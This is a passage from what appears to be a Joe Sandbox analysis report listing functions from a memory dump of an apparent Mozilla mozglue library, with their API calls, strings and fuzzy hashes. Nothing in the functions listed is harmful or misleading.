Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: c909b73787b68aeb69c15d9a9b7e910011a86440aa95eb5ce4ba85373f06b958
Instruction ID: c84b75165ff77d843202c521f4336ed6750b48d9cfde4a68e94c16a1bff87dd9
Opcode Fuzzy Hash: c909b73787b68aeb69c15d9a9b7e910011a86440aa95eb5ce4ba85373f06b958
Instruction Fuzzy Hash: 3171F6B0A043869FC704DF28D5907AAFBB1FF45314F044669D8194BB41D771EA99CBE2

Function 6CB2B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CB2B0A6,6CB2B0A6,?,6CB2AF67,?,00000010,?,6CB2AF67,?,00000010,00000000,?,?,6CB2AB1F), ref: 6CB2B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CB2B0A6,6CB2B0A6,?,6CB2AF67,?,00000010,?,6CB2AF67,?,00000010,00000000,?), ref: 6CB2B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CB2B0A6,6CB2B0A6,?,6CB2AF67,?,00000010,?,6CB2AF67,?,00000010), ref: 6CB2B25F

Strings

map/set<T> too long, xrefs: 6CB2B1FA

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 499e523d57c563962b2b9adf5da0eef4f4acfb56216fababcb9fe1b3e4075e1d
Instruction ID: ab859e1b38b1b8497fe92382011fba75a3779b34351ce8148a91f051a008b926
Opcode Fuzzy Hash: 499e523d57c563962b2b9adf5da0eef4f4acfb56216fababcb9fe1b3e4075e1d
Instruction Fuzzy Hash: 05617C746142858FD701CF19C880AAABBF1FF49318F18C599D85E4BB52CB35EC45CB92

Function 6CAED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

EnterCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED4F2
LeaveCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED50B

Part of subcall function 6CACCFE0: EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CACCFF6
Part of subcall function 6CACCFE0: LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CACD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED52E
EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAED690
LeaveCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED751

Strings

MOZ_CRASH(), xrefs: 6CAED4BB

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4d7c1a33593488c5d54f1f40246d7a27491ee06db1366efcb9d19c15bec5d92e
Instruction ID: d0967b3b889a665818ac7d47ec0823001fecc54fbb63a6d254d6e7b97c755a53
Opcode Fuzzy Hash: 4d7c1a33593488c5d54f1f40246d7a27491ee06db1366efcb9d19c15bec5d92e
Instruction Fuzzy Hash: 3851D271A087418FD324DF29C19465AB7F1FBC9318F14892EE5A9C7B88D770E884DB92

Function 6CB14630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB14721

Strings

profiler-paused, xrefs: 6CB146E4
-%llu, xrefs: 6CB14733
., xrefs: 6CB1476A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 8477d69cabf9e766b4468ebad31b38bbb11775430d139c13406f4fd731d1b5eb
Instruction ID: 57f034b4318fcd138c1557a5f3d958d5c7099962817d7f4e2295daad7882f7d7
Opcode Fuzzy Hash: 8477d69cabf9e766b4468ebad31b38bbb11775430d139c13406f4fd731d1b5eb
Instruction Fuzzy Hash: B2414671E086489BCB08DF78E85115FBBE5EF85348F10863DE859ABB81EB3098448B52

Function 6CB39830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB3985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB3987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CB398DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CB398D9

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: a48692036651753c5da57c7bbb7ff7341566fd78af89f86d136c636b892d42be
Instruction ID: 6f2e2cbc4e189335c64022e263e07e6cfbe68d31bfdfd91a255ee02aa04ff786
Opcode Fuzzy Hash: a48692036651753c5da57c7bbb7ff7341566fd78af89f86d136c636b892d42be
Instruction Fuzzy Hash: 92310875F0010C9FDB14AF59D8545EF77A9EF84318F00802DFA2A9BB40DB3169498BE1

Function 6CB146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB14721

Part of subcall function 6CAC4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB03EBD,00000017,?,00000000,?,6CB03EBD,?,?,6CAC42D2), ref: 6CAC4444

Strings

profiler-paused, xrefs: 6CB146E4
-%llu, xrefs: 6CB14733
., xrefs: 6CB1476A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 19a5fcf93a3290be23b7ebd8cb236c2ddfa187be99136c19b6edf2704e60371e
Instruction ID: f62b7ddf3af18e2cece346722dcf0ea2cb019f496ebb0dddf0468f3f7c56bdee
Opcode Fuzzy Hash: 19a5fcf93a3290be23b7ebd8cb236c2ddfa187be99136c19b6edf2704e60371e
Instruction Fuzzy Hash: DF315C71F082584BCB0CCF6DD8912AEBBE6DB98318F14853DE8159BB41EB7098448F51

Function 6CB1B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB03EBD,6CB03EBD,00000000), ref: 6CAC42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB1B127), ref: 6CB1B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB1B4E4

Strings

pid:, xrefs: 6CB1B4DE

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 44615f8ede89b9e39344f22d607db430913e1395c3d3838d9ff5f609f3e6429a
Instruction ID: 6343e07cbb090b3bacd46bc8fa98ffad280e2947bd55fd1b4f3af9384e4248dc
Opcode Fuzzy Hash: 44615f8ede89b9e39344f22d607db430913e1395c3d3838d9ff5f609f3e6429a
Instruction Fuzzy Hash: B93125B1A09248DBDB00DFAAD880AEEB7B5FF05318F54452DD811A7F41D731A849CBE2

Function 6CB0E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0E577
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0E584
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB0E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB0E826, 6CB0E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB0E722, 6CB0E750, 6CB0E7A2
MOZ_PROFILER_STARTUP, xrefs: 6CB0E5A1, 6CB0E5CC, 6CB0E5FF, 6CB0E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB0E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB0E777

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: c41812d40c3ac5b52d63ea2496790d7dbcd8d8a7902edfc4a1aa8997cdcd7836
Instruction ID: 1284ac521e23138c8dff565a18a9daa65ccfd7a5acf77994722e4ac7b311f077
Opcode Fuzzy Hash: c41812d40c3ac5b52d63ea2496790d7dbcd8d8a7902edfc4a1aa8997cdcd7836
Instruction Fuzzy Hash: 0B11A131B08698DFDB00AF14D448A6EBBB4FB8932CF448619E89547A58DB70A845CBD5

Function 6CB10C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB10CD5

Part of subcall function 6CAFF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAFF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB10D40
free.MOZGLUE ref: 6CB10DCB

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

free.MOZGLUE ref: 6CB10DDD
free.MOZGLUE ref: 6CB10DF2

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: e21b5b81b5b40782775900f6378b613100468074f38127baa5d74e4ebea7954a
Instruction ID: f0b04a5f3134214656a13e3ae0b41c997b27fa5a611dab52c94ff703b7d5c7ab
Opcode Fuzzy Hash: e21b5b81b5b40782775900f6378b613100468074f38127baa5d74e4ebea7954a
Instruction Fuzzy Hash: 4C41067191D7908BD320CF29D1807AAFBE5BF89714F108A2EE8D887B51D7709499CB82

Function 6CB1CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1CDA4

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

Part of subcall function 6CB1D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB1CDBA,00100000,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1D158
Part of subcall function 6CB1D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB1CDBA,00100000,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1CDC4

Part of subcall function 6CB17480: ReleaseSRWLockExclusive.KERNEL32(?,6CB215FC,?,?,?,?,6CB215FC,?), ref: 6CB174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1CECC

Part of subcall function 6CADCA10: mozalloc_abort.MOZGLUE(?), ref: 6CADCAA2

Part of subcall function 6CB0CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB1CEEA,?,?,?,?,00000000,?,6CB0DA31,00100000,?,?,00000000), ref: 6CB0CB57
Part of subcall function 6CB0CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB0CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB1CEEA,?,?), ref: 6CB0CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1D058

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: b00fda3217fe63882af19c00bd1d350a9df3495401fe82cb5e38b196c5741b7d
Instruction ID: 93be2d494b407e7ccaef58860b85e556a554cc3f66c995e2dab2b748aa89551a
Opcode Fuzzy Hash: b00fda3217fe63882af19c00bd1d350a9df3495401fe82cb5e38b196c5741b7d
Instruction Fuzzy Hash: 22D17071A04B469FD708CF38C590799F7E1FF89308F01866DD85987B11EB31A9A9CB81

Function 6CAD1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CAD17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CAD18EE
free.MOZGLUE(?), ref: 6CAD1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD194C

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 5927e369bec472cb27e49bfa633e7a2ba9ef9ad0c5512fd0178181fc5ab9875f
Instruction ID: 0319a60156000c36cf9364ce372ff67ed155b0efefa66d94a397c99c76c0dedc
Opcode Fuzzy Hash: 5927e369bec472cb27e49bfa633e7a2ba9ef9ad0c5512fd0178181fc5ab9875f
Instruction Fuzzy Hash: A381D570A15205DFDB08CFA8D8845BEBBB1FF89324F05452CE915AB754D730E988CBA2

Function 6CAE5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAE5D40
EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAE5D67
__aulldiv.LIBCMT ref: 6CAE5DB4
LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAE5DED

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 9d55f94b26403836a374eeb8a4c2961330dcbf3c1688b0b86063507708a7a616
Instruction ID: 05b718d3a83305caf12e9c7913cc336543bd8c2ae66cbeeb0bb749e44d76269f
Opcode Fuzzy Hash: 9d55f94b26403836a374eeb8a4c2961330dcbf3c1688b0b86063507708a7a616
Instruction Fuzzy Hash: 03517E71E041698FCF08DFA8C894BBEBBB2FB89318F198619D855A7754C7306985CBD0

Function 6CACCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CACCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CACCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CACCF4E

Strings

0, xrefs: 6CACCF30

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 4fe4811b863f3a1eb715586e3f3fe80a2b7836cec2c5af6025e8293575852abc
Instruction ID: 8e30be397197b6df6895e42b29fa2572f8f40b43e2cbec36124721a822538efa
Opcode Fuzzy Hash: 4fe4811b863f3a1eb715586e3f3fe80a2b7836cec2c5af6025e8293575852abc
Instruction Fuzzy Hash: 11510375A0026A8FCB00CF18C890A9ABBB5EF99304F19869DD8595F751D731ED46CBE0

Function 6CB277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CB27829

Part of subcall function 6CAFCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CAC31A7), ref: 6CAFCC45
Part of subcall function 6CAFCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CAC31A7), ref: 6CAFCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB2789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB278CF

Part of subcall function 6CAC4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAC4E5A
Part of subcall function 6CAC4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAC4E97

Part of subcall function 6CAC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB03EBD,6CB03EBD,00000000), ref: 6CAC42A9

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 0b5ec3de8f68857cb3e8d407d93ee0e86315785f518f48339e627ef4fa9799f0
Instruction ID: 18d58dff9db6813214b9047d24ae3ffe2b522e8466ec6e97ed09419b2ef245b8
Opcode Fuzzy Hash: 0b5ec3de8f68857cb3e8d407d93ee0e86315785f518f48339e627ef4fa9799f0
Instruction Fuzzy Hash: EF419F719047469BD300DF29D48056BFBF4FF8A258F204B2DE4A997740DB70E599CB92

Function 6CB06470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB082BC,?,?), ref: 6CB0649B

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB064A9

Part of subcall function 6CAFFA80: GetCurrentThreadId.KERNEL32 ref: 6CAFFA8D
Part of subcall function 6CAFFA80: AcquireSRWLockExclusive.KERNEL32(6CB4F448), ref: 6CAFFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0653F
free.MOZGLUE(?), ref: 6CB0655A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9d5e803bb304a60889f235888a00358edec1cfc4782faa07200494242bf31a68
Instruction ID: c3165460090e26ea2ba3e290d562ce80145f5d3f8e80929e0ddbd91b1d7ad86e
Opcode Fuzzy Hash: 9d5e803bb304a60889f235888a00358edec1cfc4782faa07200494242bf31a68
Instruction Fuzzy Hash: C2318FB5A043559FC700DF24D884A9EBBF4FF89318F40842EE85A87740EB30E919CB92

Function 6CAFFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

